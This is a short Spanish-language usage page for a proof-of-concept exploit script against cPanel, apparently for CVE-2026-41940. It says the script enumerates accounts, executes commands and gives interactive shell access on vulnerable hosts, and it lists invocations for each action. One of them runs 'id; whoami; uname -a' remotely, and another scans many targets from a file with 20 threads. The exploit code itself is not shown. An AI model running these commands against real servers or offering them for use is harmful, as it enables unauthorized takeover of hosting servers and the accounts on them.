
Prueba de concepto de exploit para CVE-2026-41940 dirigido a cPanel, que permite la enumeración de cuentas, la ejecución de comandos y el acceso interactivo a la shell en hosts vulnerables.
python3 poc_CVE-2026-41940.py -h
Escanear un host
python3 poc_CVE-2026-41940.py -u https://target.example:2086
Listar cuentas tras una cadena exitosa
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action list
Ejecutar un comando de shell
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action cmd --cmd 'id; whoami; uname -a'
Shell interactivo
python3 poc_CVE-2026-41940.py -u https://target.example:2086 --action shell
Objetivos desde archivo + informe JSON
python3 poc_CVE-2026-41940.py -l targets.txt -t 20 -o results.json
ref : ynsmroztas